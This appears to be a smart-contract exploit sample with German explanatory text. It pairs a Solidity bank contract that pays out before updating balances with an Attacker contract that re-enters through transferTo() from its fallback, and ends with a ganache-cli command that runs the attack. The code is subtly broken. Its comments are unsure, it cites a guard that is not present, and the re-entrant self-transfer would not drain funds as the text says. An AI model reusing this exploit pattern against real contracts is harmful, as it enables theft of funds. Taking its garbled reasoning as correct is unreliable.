
Beispiel für einen funktionsübergreifenden Reentrancy-Exploit für Smart Contracts, mit verwundbarem Solidity-Vertrag und Angreifer-Vertrag, der das Abziehen von Geldern durch Wiedereintritt über die Fallback-Funktion demonstriert.
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
// Second function that also modifies state after external call? Not present.
// Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
// then fallback calls another function that also transfers, bypassing nonReentrant if not global.
function transferTo(address to, uint256 amount) public {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
// Attacker contract:
contract Attacker {
VulnerableBank bank;
constructor(address _bank) { bank = VulnerableBank(_bank); }
fallback() external payable {
if (address(bank).balance >= 1 ether) {
// Re-enter via transferTo instead of withdraw
bank.transferTo(address(this), 1 ether); // this changes balances mapping
// then later withdraw again? The point is to exploit reentrancy across functions.
}
}
function attack() public payable {
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
}
Ein Smart Contract verfügt über keinen globalen Reentrancy-Schutz, was es einem Angreifer ermöglicht, den Contract während eines withdraw-Aufrufs über eine andere Funktion erneut zu betreten, einen lokalen Schutz zu umgehen und Gelder abzuziehen.
withdraw aktualisiert den Kontostand nach einem externen Aufruf, und eine separate zustandsändernde Funktion (transferTo) kann reentrant aufgerufen werden, wodurch Kontostände manipuliert werden.ganache-cli
attacker.attack({value: web3.utils.toWei("1", "ether")})